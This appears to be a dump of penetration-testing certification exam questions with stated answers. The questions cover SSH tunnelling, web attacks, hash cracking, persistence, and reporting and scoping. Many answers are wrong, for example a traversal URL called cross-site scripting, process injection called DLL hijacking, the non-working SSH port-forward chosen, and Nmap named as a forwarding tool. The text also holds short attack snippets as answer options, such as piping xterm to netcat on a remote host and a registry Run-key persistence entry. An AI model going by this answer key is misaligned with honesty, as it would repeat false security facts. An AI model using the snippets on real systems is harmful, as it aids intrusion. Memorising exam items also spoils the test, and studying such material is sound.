A penetration tester has SSH access to a Linux server that is exposed to the internet and has access to a corporate internal network. This server, with IP address 200.111.111.9, only has port TCP 22 externally opened. The penetration tester also discovered the internal IP address 192.168.1.5 from a Windows server. Which of the following steps should the penetration tester follow to open an RDP connection to this Windows server and to try to log on? A. Connect to the Linux server using # ssh 200.111.111.9, establish an RDP connection to the 192.168.1.5 address. B. Connect to the Windows server using # ssh -L 3389:200.111.111.9:22 192.168.1.5. C. Connect to the Linux server using # ssh -L 3389:192.168.1.5:3389 200 .111.111.9; RDP to localhost address, port 3389. D. Connect to the Windows server using # ssh -L 22:200.111.111.9:3389 192.168.1.5.

Connect to the Linux server using # ssh 200.111.111.9, establish an RDP connection to the 192.168.1.5 address.

A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web interception proxy: Which of the following types of vulnerabilities is being exploited? A. Forced browsing vulnerability B. Parameter pollution vulnerability C. File upload vulnerability D. Cookie enumeration

Cookie enumeration

A security analyst has uncovered a suspicious request in the logs for a web application. Given the following URL: http:www.company-site.com/about.php?i=_V_V_V_V_VetcVpasswd Which of the following attack types is MOST likely to be the vulnerability? A. Directory traversal B. Cross-site scripting C. Remote file inclusion D. User enumeration

Cross-site scripting

Which of the following BEST protects against a rainbow table attack? A. Increased password complexity B. Symmetric encryption C. Cryptographic salting D. Hardened OS configurations

Cryptographic salting

A penetration tester directly connects to an internal network. Which of the following exploits would work BEST for quick lateral movement within an internal network? A. Crack password hashes in /etc/shadow for network authentication. B. Launch dictionary attacks on RDP. C. Conduct a whaling campaign. D. Poison LLMNR and NBNS requests.

Crack password hashes in /etc/shadow for network authentication.

A penetration tester notices that the X-Frame-Options header on a web application is not set. Which of the following would a malicious actor do to exploit this configuration setting? A. Use path modification to escape the application?s framework. B. Create a frame that overlays the application. C. Inject a malicious iframe containing JavaScript. D. Pass an iframe attribute that is malicious.

Create a frame that overlays the application.

A penetration tester is performing a remote scan to determine if the server farm is compliant with the company's software baseline. Which of the following should the penetration tester perform to verify compliance with the baseline? A. Discovery scan B. Stealth scan C. Full scan D. Credentialed scan

Credentialed scan

A penetration tester identifies prebuilt exploit code containing Windows imports for VirtualAllocEx and LoadLibraryA functions. Which of the following techniques is the exploit code using? A. DLL hijacking B. DLL sideloading C. DLL injection D. DLL function hooking

DLL hijacking

Joe, a penetration tester, was able to exploit a web application behind a firewall. He is trying to get a reverse shell back to his machine, but the firewall blocks the outgoing traffic. Ports for which of the following should the security consultant use to have the HIGHEST chance to bypass the firewall? A. SMB B. SMTP C. FTP D. DNS

DNS

A penetration tester is performing a wireless penetration test. Which of the following are some vulnerabilities that might allow the penetration tester to easily and quickly access a WPA2-protected access point? A. Deauthentication attacks against an access point can allow an opportunity to capture the four-way handshake, which can be used to obtain and crack the encrypted password. B. Injection of customized ARP packets can generate many initialization vectors quickly, making it faster to crack the password, which can then be used to connect to the WPA2-protected access point. C. Weak implementations of the WEP can allow pin numbers to be guessed quickly, which can then be used to retrieve the password, which can then be used to connect to the WEP-protected access point. D. Rainbow tables contain all possible password combinations, which can be used to perform a brute-force password attack to retrieve the password, which can then be used to connect to the WPA2-protected access point.

Deauthentication attacks against an access point can allow an opportunity to capture the four-way handshake, which can be used to obtain and crack the encrypted password.

A company contracted a firm specializing in penetration testing to assess the security of a core business application. The company provided the firm with a copy of the Java bytecode. Which of the following steps must the firm take before it can run a static code analyzer? A. Run the application through a dynamic code analyzer. B. Employ a fuzzing utility. C. Decompile the application. D. Check memory allocations.

Decompile the application.

A systems security engineer is preparing to conduct a security assessment of some new applications. The applications were provided to the engineer as a set that contains only JAR files. Which of the following would be the MOST detailed method to gather information on the inner workings of these applications? A. Launch the applications and use dynamic software analysis tools, including fuzz testing. B. Use a static code analyzer on the JAR files to look for code quality deficiencies. C. Decompile the applications to approximate source code and then conduct a manual review. D. Review the details and extensions of the certificate used to digitally sign the code and the application.

Decompile the applications to approximate source code and then conduct a manual review.

A penetration tester observes that several high-numbered ports are listening on a public web server. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend? A. Transition the application to another port. B. Filter port 443 to specific IP addresses. C. Implement a web application firewall. D. Disable unneeded services.

Disable unneeded services

An organization has requested that a penetration test be performed to determine if it is possible for an attacker to gain a foothold on the organization?s server segment. During the assessment, the penetration tester identifies tools that appear to have been left behind by a prior attack. Which of the following actions should the penetration tester take? A. Attempt to use the remnant tools to achieve persistence. B. Document the presence of the left-behind tools in the report and proceed with the test. C. Remove the tools from the affected systems before continuing on with the test. D. Discontinue further testing and report the situation to management.

Discontinue further testing and report the situation to management.

A penetration test was performed by an on-staff junior technician. During the test, the technician discovered the web application could disclose an SQL table with user account and password information. Which of the following is the MOST effective way to notify management of this finding and its importance? A. Document the findings with an executive summary, recommendations, and screenshots of the web application disclosure. B. Connect to the SQL server using this information and change the password to one or two non-critical accounts to demonstrate a proof--of-concept to management. C. Notify the development team of the discovery and suggest that input validation be implemented with a professional penetration testing company. D. Request that management create an RFP to begin a formal engagement with a professional penetration testing company.

Document the findings with an executive summary, recommendations, and screenshots of the web application disclosure.

A penetration tester reports an application is only utilizing basic authentication on an Internet-facing application. Which of the following would be the BEST remediation strategy? A. Enable HTTP Strict Transport Security. B. Enable a secure cookie flag. C. Encrypt the communication channel. D. Sanitize invalid user input.

Enable HTTP Strict Transport Security.

A penetration tester attempts to perform a UDP port scan against a remote target using an Nmap tool installed onto a non-Kali Linux image. For some reason, the UDP scan falls to start. Which of the following would MOST likely help to resolve the issue? A. Install the latest version of the tool. B. Review local iptables for existing drop rules. C. Relaunch the tool with elevated privileges. D. Enable both IPv4 and IPv6 forwarding.

Enable both IPv4 and IPv6 forwarding.

During a physical security review, a detailed penetration testing report was obtained, which was issued to a security analyst and then discarded in the trash. The report contains validated critical risk exposures. Which of the following processes would BEST protect this information from being disclosed in the future? A. Restrict access to physical copies to authorized personnel only. B. Ensure corporate policies include guidance on the proper handling of sensitive information. C. Require only electronic copies of all documents to be maintained. D. Install surveillance cameras near all garbage disposal areas.

Ensure corporate policies include guidance on the proper handling of sensitive information.

An Internet-accessible database server was found with the following ports open: 22, 53, 110, 1433, and 3389. Which of the following would be the BEST hardening technique to secure the server? A. Ensure all protocols are using encryption. B. Employ network ACLs. C. Disable source routing on the server. D. Ensure the IDS rules have been updated.

Ensure the IDS rules have been updated.

A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding. Which of the following techniques can the penetration tester perform to adjudicate the validity of the findings? A. Ensure the scanner can make outbound DNS requests. B. Ensure the scanner is configured to perform ARP resolution. C. Ensure the scanner is configured to analyze IP hosts. D. Ensure the scanner has the proper plug -ins loaded.

Ensure the scanner can make outbound DNS requests.

A penetration tester is in the process of writing a report that outlines the overall level of risk to operations. In which of the following areas of the report should the penetration tester put this? A. Appendices B. Executive summary C. Technical summary D. Main body

Executive summary

After a recent penetration test, a company has a finding regarding the use of dictionary and seasonal passwords by its employees. Which of the following is the BEST control to remediate the use of common dictionary terms? A. Expand the password length from seven to 14 characters. B. Implement password history restrictions. C. Configure password filters/ D. Disable the accounts after five incorrect attempts. E. Decrease the password expiration window.

Expand the password length from seven to 14 characters.

A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities, with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client? A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation. B. Identify the issues that can be remediated most quickly and address them first. C. Implement the least impactful of the critical vulnerabilities' remediations first, and then address other critical vulnerabilities D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long lime.

Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long lime.

A security team is switching firewall vendors. The director of security wants to scope a penetration test to satisfy requirements to perform the test after major architectural changes. Which of the following is the BEST way to approach the project? A. Design a penetration test approach, focusing on publicly released firewall DoS vulnerabilities. B. Review the firewall configuration, followed by a targeted attack by a read team. C. Perform a discovery scan to identify changes in the network. D. Focus on an objective-based approach to assess network assets with a red team.

Focus on an objective-based approach to assess network assets with a red team.

A client?s systems administrator requests a copy of the report from the penetration tester, but the systems administrator is not listed as a point of contact or signatory. Which of the following is the penetration tester?s BEST course of action? A. Send the report since the systems administrator will be in charge of implementing the fixes. B. Send the report and carbon copy the point of contact/signatory for visibility. C. Reply and explain to the systems administrator that proper authorization is needed to provide the report. D. Forward the request to the point of contact/signatory for authorization.

Forward the request to the point of contact/signatory for authorization.

A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task? A. From the remote computer, run the following commands: export XHOST 192.168.1.10:0.0 xhost+ Terminal B. From the local computer, run the following command: ssh -L4444:127.0.0.1:6000 -X [email protected] xterm C. From the remote computer, run the following command: ssh -R6000:127.0.0.1:4444 -p 6000 [email protected] ?xhost+; xterm? D. From the local computer, run the following command: nc -l -p 6000 Then, from the remote computer, run the following command: xterm | nc 192.168.1.10 6000

From the local computer, run the following command: ssh -L4444:127.0.0.1:6000 -X [email protected] xterm

An engineer, who is conducting a penetration test for a web application, discovers the user login process sends from field data using the HTTP GET method. To mitigate the risk of exposing sensitive information, the form should be sent using an: A. HTTP POST method. B. HTTP OPTIONS method. C. HTTP PUT method. D. HTTP TRACE method.

HTTP POST method

A penetration tester is reviewing the following output from a wireless sniffer: Which of the following can be extrapolated from the above information? A. Hardware vendor B. Channel interference C. Usernames D. Key strength

Hardware vendor

A tester was able to retrieve domain users? hashes. Which of the following tools can be used to uncover the users? passwords? (Choose two.) A. Hydra B. Mimikatz C. Hashcat D. John the Ripper E. PSExec F. Nessus

Hashcat John the Ripper

A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals. Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO). A. Cleartext exposure of SNMP trap data B. Software bugs resident in the IT ticketing system C. S/MIME certificate templates defined by the CA D. Health information communicated over HTTP E. DAR encryption on records servers

Health information communicated over HTTP DAR encryption on records servers

Which of the following BEST describes some significant security weaknesses with an ICS, such as those used in electrical utility facilities, natural gas facilities, dams, and nuclear facilities? A. ICS vendors are slow to implement adequate security controls. B. ICS staff are not adequately trained to perform basic duties. C. There is a scarcity of replacement equipment for critical devices. D. There is a lack of compliance for ICS facilities.

ICS staff are not adequately trained to perform basic duties.

A recently concluded penetration test revealed that a legacy web application is vulnerable to SQL injection. Research indicates that completely remediating the vulnerability would require an architectural change, and the stakeholders are not in a position to risk the availability on the application. Under such circumstances, which of the following controls are low-effort, short-term solutions to minimize the SQL injection risk? (Choose two.) A. Identity and eliminate inline SQL statements from the code. B. Identify and eliminate dynamic SQL from stored procedures. C. Identify and sanitize all user inputs. D. Use a whitelist approach for SQL statements. E. Use a blacklist approach for SQL statements. F. Identify the source of malicious input and block the IP address.

Identify and sanitize all user inputs. Use a whitelist approach for SQL statements.

A security assessor completed a comprehensive penetration test of a company and its networks and systems. During the assessment, the tester identified a vulnerability in the crypto library used for TLS on the company's intranet-wide payroll web application. However, the vulnerability has not yet been patched by the vendor, although a patch is expected within days. Which of the following strategies would BEST mitigate the risk of impact? A. Modify the web server crypto configuration to use a stronger cipher-suite for encryption, hashing, and digital signing. B. Implement new training to be aware of the risks in accessing the application. This training can be decommissioned after the vulnerability is patched. C. Implement an ACL to restrict access to the application exclusively to the finance department. Reopen the application to company staff after the vulnerability is patched. D. Require payroll users to change the passwords used to authenticate to the application. Following the patching of the vulnerability, implement another required password change.

Implement an ACL to restrict access to the application exclusively to the finance department. Reopen the application to company staff after the vulnerability is patched.

A penetration tester is testing a web application and is logged in as a lower-privileged user. The tester runs arbitrary JavaScript within an application, which sends an XMLHttpRequest, resulting in exploiting features to which only an administrator should have access. Which of the following controls would BEST mitigate the vulnerability? A. Implement authorization checks. B. Sanitize all the user input. C. Prevent directory traversal. D. Add client-side security controls

Implement authorization checks.

A penetration tester executes the following commands: Which of the following is a local host vulnerability that the attacker is exploiting? A. Insecure file permissions B. Application whitelisting C. Shell escape D. Writable service

Insecure file permissions

An individual has been hired by an organization after passing a background check. The individual has been passing information to a competitor over a period of time. Which of the following classifications BEST describes the individual? A. APT B. Insider threat C. Script kiddie D. Hacktivist

Insider threat

Which of the following would BEST prevent fence jumping at a facility? A. Install proper lighting around the perimeter of the facility. B. Decrease the distance between the links in the fence. C. Add a top guard on the fence that faces away from the facility. D. Place video cameras that are angled toward the fence.

Install proper lighting around the perimeter of the facility.

A penetration tester has discovered through automated scanning that a Tomcat server allows for the use of default credentials. Using default credentials, the tester is able to upload WAR files to the server. Which of the following is the MOST likely post-exploitation step? A. Upload a customized /etc/shadow file. B. Monitor network traffic C. Connect via SSH using default credentials. D. Install web shell on the server.

Install web shell on the server.

A penetration tester is reviewing a Zigbee implementation for security issues. Which of the following device types is the tester MOST likely testing? A. Router B. IoT C. WAF D. PoS

IoT

Which of the following BEST describes why an MSA is helpful? A. It contractually binds both parties to not disclose vulnerabilities. B. It reduces potential for scope creep. C. It clarifies the business arrangement by agreeing to specific terms. D. It defines the timelines for the penetration test.

It clarifies the business arrangement by agreeing to specific terms.

A penetration tester runs a script that queries the domain controller for user service principal names. Which of the following techniques is MOST likely being attempted? A. LSASS credential extraction B. Cpassword C. Cleartext credentials in LDAP D. Kerberoasting

Kerberoasting

Given the following script: Which of the following BEST describes the purpose of this script? A. Log collection B. Event collection C. Keystroke monitoring D. Debug message collection

Keystroke monitoring

Joe, a penetration tester, has received basic account credentials and logged into a Windows system. To escalate his privilege, from which of the following places is he using Mimikatz to pull credentials? A. LSASS B. SAM database C. Active Directory D. Registry

LSASS

A web application scanner reports that a website is susceptible to clickjacking. Which of the following techniques would BEST prove exploitability? A. Redirect the user with a CSRF. B. Launch the website in an iFRAME. C. Pull server headers. D. Capture and replay a session ID.

Launch the website in an iFRAME.

A company?s corporate policies state that employees are able to scan any global network as long as it is done within working hours. Government laws prohibit unauthorized scanning. Which of the following should an employee abide by? A. Company policies must be followed in this situation. B. Laws supersede corporate policies. C. Industry standards regarding scanning should be followed. D. The employee must obtain written approval from the company?s Chief Information Security Officer (CISO) prior to scanning. Answer:

Laws supersede corporate policies.

A penetration tester is performing ARP spoofing against a switch. Which of the following should the penetration tester spoof to get the MOST information? A. MAC address of the client B. MAC address of the domain controller C. MAC address of the web server D. MAC address of the gateway

MAC address of the gateway

A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack. Which of the following remediation steps should be recommended? (Select THREE). A. Mandate all employees take security awareness training. B. Implement two-factor authentication for remote access. C. Install an intrusion prevention system. D. Increase password complexity requirements. E. Install a security information event monitoring solution. F. Prevent members of the IT department from interactively logging in as administrators. G. Upgrade the cipher suite used for the VPN solution.

Mandate all employees take security awareness training. Implement two-factor authentication for remote access. Increase password complexity requirements.

Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this? A. Manufacturers developing IoT devices are less concerned with security. B. It is difficult for administrators to implement the same security standards across the board. C. IoT systems often lack the hardware power required by more secure solutions. D. Regulatory authorities often have lower security requirements for IoT systems.

Manufacturers developing IoT devices are less concerned with security.

A client gives a penetration tester a /8 network range to scan during a week-long engagement. Which of the following tools would BEST complete this task quickly? A. Massscan B. Nmap C. Angry IP scanner D. Unicorn scan

Massscan

Which of the following exploits a vulnerability associated with IoT devices? A. Blue snarfing B. Simple certificate enrollment C. Heartbleed D. Mirai botnet

Mirai botnet

The following command is run on a Linux file system: chmod 4111 /usr/bin/sudo Which of the following issues may be exploited now? A. Kernel vulnerabilities B. Sticky bits C. Unquoted service path D. Misconfigured sudo

Misconfigured sudo

After establishing a shell on a target system, Joe, a penetration tester is aware that his actions have not been detected. He now wants to maintain persistent access to the machine. Which of the following methods would be MOST easily detected? A. Run a zero-day exploit. B. Create a new domain user with a known password. C. Modify a known boot time service to instantiate a call back. D. Obtain cleartext credentials of the compromised user.

Modify a known boot time service to instantiate a call back.

A file contains several hashes. Which of the following can be used in a pass-the-hash attack? A. NTLMv2 B. Kerberos C. NTLMv1 D. LMv2 E. NTLM

NTLM

If a security consultant comes across a password hash that resembles the following: b117525b345470c29ca3d8ae0b556ba8 Which of the following formats is the correct hash type? A. Kerberos B. NetNTLMv1 C. NTLM D. SHA-1

NTLM

A penetration tester is scoping an engagement with a company that provided a list of firewall rules and a digital network diagram. Which of the following tests would require this data? A. Network segmentation test B. Network penetration test C. Network vulnerability scan D. Network baseline test

Network segmentation test

During a penetration test, a tester identifies traditional antivirus running on the exploited server. Which of the following techniques would BEST ensure persistence in a post-exploitation phase? A. Shell binary placed in C:\windows\temp B. Modified daemons C. New user creation D. Backdoored executables

New user creation

Which of the following tools can be used to perform a basic remote vulnerability scan of a website's configuration? A. Mimikatz B. BeEF C. Nikto D. Patator

Nikto

A penetration testing company is performing a penetration test against Company A. Company A has provided the IP address range 10.0.0.0/24 as its in-scope network range. During the information gathering phase, the penetration tester is asked to conduct active information-gathering techniques. Which of the following is the BEST tool to use for active information gathering? A. hping3 B. theHarvester C. tcpdump D. Nmap

Nmap

A penetration tester successfully exploits a DMZ server that appears to be listening on an outbound port. The penetration tester wishes to forward that traffic back to a device. Which of the following are the BEST tools to use for this purpose? (Choose two.) A. Tcpdump B. Nmap C. Wireshark D. SSH E. Netcat F. Cain and Abel

Nmap SSH

At the beginning of a penetration test, the tester finds a file that includes eAt the beginning of a penetration test, the tester finds a file that includes employee data, such as email addresses, work phone numbers, computers names, and office locations. The file is hosted on a public web server. Which of the following BEST describes the technique that was used to obtain this information? A. Enumeration of services B. OSINT gathering C. Port scanning D. Social engineering

OSINT gathering

During an internal network penetration test, a tester recovers the NTLM password hash for a user known to have full administrator privileges on a number of target systems. Efforts to crack the hash and recover the plaintext password have been unsuccessful. Which of the following would be the BEST target for continued exploitation efforts? A. Operating system: Windows 7 Open ports: 23, 161 B. Operating system: Windows Server 2016 Open ports: 53, 5900 C. Operating system: Windows 8.1 Open ports: 445, 3389 D. Operating system: Windows 8 Open ports: 514, 3389

Operating system: Windows 8.1 Open ports: 445, 3389

Which of the following is the purpose of an NDA? A. Outlines the terms of confidentiality between both parties B. Outlines the boundaries of which systems are authorized for testing C. Outlines the requirements of technical testing that are allowed D. Outlines the detailed configuration of the network

Outlines the terms of confidentiality between both parties

A vulnerability scan report shows what appears to be evidence of a memory disclosure vulnerability on one of the target hosts. The administrator claims the system is patched and the evidence is a false positive. Which of the following is the BEST method for a tester to confirm the vulnerability exists? A. Manually run publicly available exploit code. B. Confirm via evidence of the updated version number. C. Run the vulnerability scanner again. D. Perform dynamic analysis on the vulnerable service.

Perform dynamic analysis on the vulnerable service.

A penetration tester is attempting to scan a legacy web application using the scanner's default scan settings. The scans continually result in the application becoming unresponsive. Which of the following can help to alleviate this issue? A. Packet shaping B. Flow control C. Bandwidth limits D. Query throttling

Packet shaping

A security consultant is trying to attack a device with a previously identified user account. Which of the following types of attacks is being executed? A. Credential dump attack B. DLL injection attack C. Reverse shell attack D. Pass the hash attack

Pass the hash attack

Which of the following BEST explains why it is important to maintain confidentially of any identified findings when performing a penetration test? A. Penetration test findings often contain company intellectual property B. Penetration test findings could lead to consumer dissatisfaction if made public. C. Penetration test findings are legal documents containing privileged information. D. Penetration test findings can assist an attacker in compromising a system.

Penetration test findings can assist an attacker in compromising a system.

A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST meet this goal? A. Perform an HTTP downgrade attack. B. Harvest the user credentials to decrypt traffic. C. Perform an MITM attack. D. Implement a CA attack by impersonating trusted CAs.

Perform an HTTP downgrade attack

A penetration tester has gained access to a marketing employee's device. The penetration tester wants to ensure that if the access is discovered, control of the device can be regained. Which of the following actions should the penetration tester use to maintain persistence to the device? (Select TWO.) A. Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1. B. Place an entry in C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com. C. Place a script in C:\users\%username\local\appdata\roaming\temp\au57d.ps1. D. Create a fake service in Windows called RTAudio to execute manually. E. Place an entry for RTAudio in HKLM\CurrentControlSet\Services\RTAudio. F. Create a schedule task to call C:\windows\system32\drivers\etc\hosts.

Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1. Place a script in C:\users\%username\local\appdata\roaming\temp\au57d.ps1.

A penetration tester used an ASP.NET web shell to gain access to a web application, which allowed the tester to pivot in the corporate network. Which of the following is the MOST important follow-up activity to complete after the tester delivers the report? A. Removing shells B. Obtaining client acceptance C. Removing tester-created credentials D. Documenting lessons learned E. Presenting attestation of findings

Presenting attestation of findings

An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used in this attack? A. Principle of fear B. Principle of authority C. Principle of scarcity D. Principle of likeness E. Principle of social proof

Principle of authority

A penetration tester has obtained access to an IP network subnet that contains ICS equipment intercommunication. Which of the following attacks is MOST likely to succeed in creating a physical effect? A. DNS cache poisoning B. Record and replay C. Supervisory server SMB D. Blind SQL injection

Record and replay

A penetration tester needs to provide the code used to exploit a DNS server in the final report. In which of the following parts of the report should the penetration tester place the code? A. Executive summary B. Remediation C. Conclusion D. Technical summary

Remediation

After performing a security assessment for a firm, the client was found to have been billed for the time the client?s test environment was unavailable. The client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation? A. SOW B. NDA C. EULA D. BPA

SOW

A penetration tester is required to perform OSINT on staff at a target company after completing the infrastructure aspect. Which of the following would be the BEST step for penetration? A. Obtain staff information by calling the company and using social engineering techniques. B. Visit the client and use impersonation to obtain information from staff. C. Send spoofed emails to staff to see if staff will respond with sensitive information. D. Search the internet for information on staff such as social networking sites.

Search the internet for information on staff such as social networking sites.

Which of the following properties of the penetration testing engagement agreement will have the LARGEST impact on observing and testing production systems at their highest loads? A. Creating a scope of the critical production systems B. Setting a schedule of testing access times C. Establishing a white-box testing engagement D. Having management sign off on intrusive testing

Setting a schedule of testing access times

Which of the following would be the BEST for performing passive reconnaissance on a target?s external domain? A. Peach B. CeWL C. OpenVAS D. Shodan

Shodan

Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO). A. Shodan B. SET C. BeEF D. Wireshark E. Maltego F. Dynamo

Shodan Maltego

An attacker uses SET to make a copy of a company?s cloud-hosted web mail portal and sends an email in hopes the Chief Executive Officer (CEO) logs in to obtain the CEO?s login credentials. Which of the following types of attacks is this an example of? A. Elicitation attack B. Impersonation attack C. Spear phishing attack D. Drive-by download attack

Spear phishing attack

Which of the following actions BEST matches a script kiddie?s threat actor? A. Exfiltrate network diagrams to perform lateral movement. B. Steal credit cards from the database and sell them in the deep web. C. Install a rootkit to maintain access to the corporate network. D. Deface the website of a company in search of retribution.

Steal credit cards from the database and sell them in the deep web.

SIMULATION You are a penetration tester reviewing a client?s website through a web browser. INSTRUCTIONS Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Step 1 - Generate a Certificate Signing Request Step 2 - Submit CSR to the CA Step 3 - Install re-issued certificate on the server Step 4 - Remove Certificate from Server

The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST likely causes for this difference? (Choose two.) A. Storage access B. Limited network access C. Misconfigured DHCP server D. Incorrect VLAN scanned E. Network access controls

Storage access Limited network access

A penetration tester is preparing to conduct API testing. Which of the following would be MOST helpful in preparing for this engagement? A. Nikto B. WAR C. W3AF D. Swagger

Swagger

Which of the following is an important stakeholder to notify when penetration testing has begun? A. System owner B. Remediation manager C. Compliance assessor D. Patching team

System owner

When considering threat actor scoping prior to an engagement, which of the following characteristics makes an APT challenging to emulate? A. Development of custom zero-day exploits and tools B. Leveraging the dark net for non-attribution C. Tenacity and efficacy of social engineering attacks D. Amount of bandwidth available for DoS attacks

Tenacity and efficacy of social engineering attacks

A client has requested an external network penetration test for compliance purposes. During discussion between the client and the penetration tester, the client expresses unwillingness to add the penetration tester's source IP addresses to the client's IPS whitelist for the duration of the test. Which of the following is the BEST argument as to why the penetration tester's source IP addresses should be whitelisted? A. Whitelisting prevents a possible inadvertent DoS attack against the IPS and supporting log-monitoring systems. B. Penetration testing of third-party IPS systems often requires additional documentation and authorizations; potentially delaying the time-sensitive test. C. IPS whitelisting rules require frequent updates to stay current, constantly developing vulnerabilities and newly discovered weaknesses. D. Testing should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS.

Testing should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS.

A security guard observes an individual entering the building after scanning a badge. The facility has a strict badge-in and badge-out requirement with a turnstile. The security guard then audits the badge system and finds two log entries for the badge in question within the last 30 minutes. Which of the following has MOST likely occurred? A. The badge was cloned. B. The physical access control server is malfunctioning. C. The system reached the crossover error rate. D. The employee lost the badge.

The badge was cloned

A client has scheduled a wireless penetration test. Which of the following describes the scoping target information MOST likely needed before testing can begin? A. The physical location and network ESSIDs to be tested B. The number of wireless devices owned by the client C. The client's preferred wireless access point vendor D. The bands and frequencies used by the client's devices

The bands and frequencies used by the client's devices

A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was reported as a critical severity finding on the previous report. Which of the following is the MOST likely reason for the reduced severity? A. The client has applied a hot fix without updating the version. B. The threat landscape has significantly changed. C. The client has updated their codebase with new features. D. Thera are currently no known exploits for this vulnerability.

The client has applied a hot fix without updating the version.

Which of the following excerpts would come from a corporate policy? A. Employee passwords must contain a minimum of eight characters, with one being alphanumeric. B. The help desk can be reached at 800-passwd1 to perform password resets. C. Employees must use strong passwords for accessing corporate assets. D. The corporate systems must store passwords using the MD5 hashing algorithm.

The corporate systems must store passwords using the MD5 hashing algorithm

During an engagement, a consultant identifies a number of areas that need further investigation and require an extension of the engagement. Which of the following is the MOST likely reason why the engagement may not be able to continue? A. The consultant did not sign an NDA. B. The consultant was not provided with the appropriate testing tools. C. The company did not properly scope the project. D. The initial findings were not communicated to senior leadership.

The company did not properly scope the project

When negotiating a penetration testing contract with a prospective client, which of the following disclaimers should be included in order to mitigate liability in case of a future breach of the client?s systems? A. The proposed mitigations and remediations in the final report do not include a cost-benefit analysis. B. The NDA protects the consulting firm from future liabilities in the event of a breach. C. The assessment reviewed the cyber key terrain and most critical assets of the client?s network. D. The penetration test is based on the state of the system and its configuration at the time of assessment.

The penetration test is based on the state of the system and its configuration at the time of assessment.

A penetration testing company was hired to conduct a penetration test against Company A's network of 20.10.10.0/24 and mail.companyA.com. While the penetration testing company was in the information gathering phase, it was discovered that the mail.companyA.com IP address resolved to 20.15.1.2 and belonged to Company B. Which of the following would be the BEST solution to conduct penetration testing against mail.companyA.com? A. The penetration tester should conduct penetration testing against mail.companyA.com because the domain name is in scope. B. The penetration tester should ask Company A for a signed statement giving permission to conduct a test against mail.companyA.com. C. The penetration tester should ignore mail.companyA.com testing and complete only the network range 20.10.10.0/24. D. The penetration tester should only use passive open source intelligence gathering methods leveraging publicly available information to analyze mail.companyA.com.

The penetration tester should only use passive open source intelligence gathering methods leveraging publicly available information to analyze mail.companyA.com.

While conducting information gathering, a penetration tester is trying to identify Windows hosts. Which of the following characteristics would be BEST to use for fingerprinting? A. The system responds with a MAC address that begins with 00:0A:3B. B. The system responds with port 22 open. C. The system responds with a TTL of 128. D. The system responds with a TCP window size of 5840.

The system responds with a TTL of 128.

Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO.) A. The tester discovers personally identifiable data on the system. B. The system shows evidence of prior unauthorized compromise. C. The system shows a lack of hardening throughout. D. The system becomes unavailable following an attempted exploit. E. The tester discovers a finding on an out-of-scope system.

The system shows evidence of prior unauthorized compromise. The system becomes unavailable following an attempted exploit.

A penetration tester is performing initial intelligence gathering on some remote hosts prior to conducting a vulnerability scan. The tester runs the following command: nmap -D 192.168.1.1, 192.168.1.2, 192.168.1.3 -sV -o --max-rate 2 192.168.1.130 Which of the following BEST describes why multiple IP addresses are specified? A. The network is subnetted as a/25 or greater, and the tester needed to access hosts on two different subnets. B. The tester is trying to perform a more stealthy scan by including several bogus addresses. C. The scanning machine has several interfaces to balance the scan request across at the specified rate. D. A discovery scan is run on the first set of addresses, whereas a deeper, more aggressive scan is run against the latter host.

The tester is trying to perform a more stealthy scan by including several bogus addresses.

A penetration tester is required to report installed shells on compromised systems. Which of the following is the reason? A. To allow another security consultant access to the shell B. To allow the developer to troubleshoot the vulnerability C. To allow the systems administrator to perform the cleanup D. To allow the systems administrator to write a rule on the WAF

To allow the developer to troubleshoot the vulnerability

Which of the following is the reason why a penetration tester would run the chkconfig --del servicename command at the end of an engagement? A. To remove the persistence B. To enable persistence C. To report persistence D. To check for persistence

To remove the persistence

For which of the following reasons does a penetration tester need to have a customer?s point-of-contact information available at all times? (Choose three.) A. To report indicators of compromise B. To report findings that cannot be exploited C. To report critical findings D. To report the latest published exploits E. To update payment information F. To report a server that becomes unresponsive G. To update the statement of work H. To report a cracked password

To report indicators of compromise To report critical findings To report a server that becomes unresponsive

Given the following Python script: Which of the following is where the output will go? A. To the screen B. To a network server C. To a file D. To /dev/null

To the screen

